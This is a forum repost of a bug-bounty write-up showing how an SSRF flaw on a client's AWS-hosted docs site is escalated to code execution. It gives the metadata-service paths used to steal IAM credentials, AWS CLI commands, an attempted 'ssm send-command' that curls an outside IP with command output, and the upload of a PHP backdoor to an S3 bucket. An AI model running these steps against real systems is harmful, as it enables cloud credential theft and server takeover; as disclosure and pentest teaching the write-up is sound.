Jump to content
Nytro

Escalating SSRF to RCE

Recommended Posts

Posted

Escalating SSRF to RCE

logo-1024x683.jpg

Hello Pentesters,

I’m Youssef A. Mohamed aka GeneralEG

Security Researcher @CESPPACyber Security Engineer @Squnity and SRT Member @Synack

hackerman-by-shiiftyshift-dan31sc.png

 

Today I’m going to share a new juicy vulnerability with you as usual.

  • This issue found in a private client so let’s call it redacted.com

Exploring the scope:

While enumerating the client’s domain for subdomains. I’ve found subdomain [docs]

I came out to this subdomain [docs.redact.com]

 

Finding Out-of-band resource load:

The [docs] subdomain was showing some documentations and kind of statistics

Screen1.jpg

 

While clicking on a statistic’s photo I saw kind of weird but not a magical Link:

Screen2.jpg

 

the first thing that came into my mind is to change the ’s value to generaleg0x01.com

Screen3.jpg

Then I noticed the [mimeType] parameter so edited the link and changed the values to be like this:

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

Screen4.jpg

Until now it just [Out-of-band resource load]

Verifying SSRF:

While checking the requests/responses in my BurpSuite noticed Response Header [X-Amz-Cf-Id]

So, I’ve figured out that they are on AWS Environment.

We need to make sure that SSRF is working well here. So as we know [169.254.169.254] is the EC2 instance local IP address.

Let’s try to access to the meta-data folder by navigating to [/latest/meta-data/].

Screen5.jpg

 

SSRF Confirmed.

Surfing on the EC2 Environment:

Let’s check our current role by navigating to [/latest/meta-data/iam/security-credentials/].

It’s aws-elasticbeanstalk-ec2-role

Screen6.jpg

 

What’s AWS Elastic Beanstalk?

It automatically handles the deployment, capacity provisioning, load balancing, auto-scaling, and application health monitoring.

Grabbing the needed data:

1) Go to [/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]

to get [AccessKeyId, SecretAccessKey, Token]

Screen7.jpg

2) Go to [/latest/dynamic/instance-identity/document/]

to get [instanceId, accountId, region]

Screen8.jpg

Configuring AWS Command Line Interface:

~# apt install awscli

~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token

Screen9.jpg

~# aws sts get-caller-identity

Screen10.jpg

SSRF exploited well, Now let’s explore further possibilities to escalate it to something Bigger “RCE”.

Escalating SSRF to RCE:

I went to try some potential exploitation scenarios.

After a few pieces of research tried to use AWS Systems Manager [ssm] command.

The role is not authorized to perform this command. I was hoping to escalate it with aws ssm send-command.

~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region

An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

Screen11.jpg

 

SSH port is closed. I was hoping to escalate it with the famous scenario:

“creating a RSA authentication key pair (public key and private key), to be able to log into a remote site from the account, without having to type the password.”

Screen12.jpg

 

Trying to read the [S3 Bucket] content:

tried running multiple commands using AWS CLI to retrieve information from the AWS instance. However, access to most of the commands were denied due to the security policy in place.

~# aws s3 ls

An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

Screen13.jpg

After a few pieces of research figured that the managed policy “AWSElasticBeanstalkWebTier” only allows accessing S3 buckets whose name start with “elasticbeanstalk”.

In order to access the S3 bucket, we will use the data we grabbed earlier with the following format:

elasticbeanstalk-region-account-id

Now, the bucket name is “elasticbeanstalk-us-east-1-76xxxxxxxx00”.

Let’s listed bucket resources for “elasticbeanstalk-us-east-1-76xxxxxxxx00” in a recursive manner to perform this long-running task using AWS CLI:

~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

Screen14.jpeg

Now, Let’s try to upload a Backdoor!

~# cat cmd.php

 

Screen15-1.jpg

~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

Screen15-2.jpg

upload: ./cmd.php to s3://docs.redact.com/cmd.php

Screen15-3.jpg

And here we got a successful RCE!

Screen16.jpg


In a nutshell:

You can escalate Server-Side Request Forgery to Remote Code Execute in many ways but it’s depending on your target’s Environment.


Happy Hacking!

20140109-144602.jpg

 

 

Sursa: https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

  • Upvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...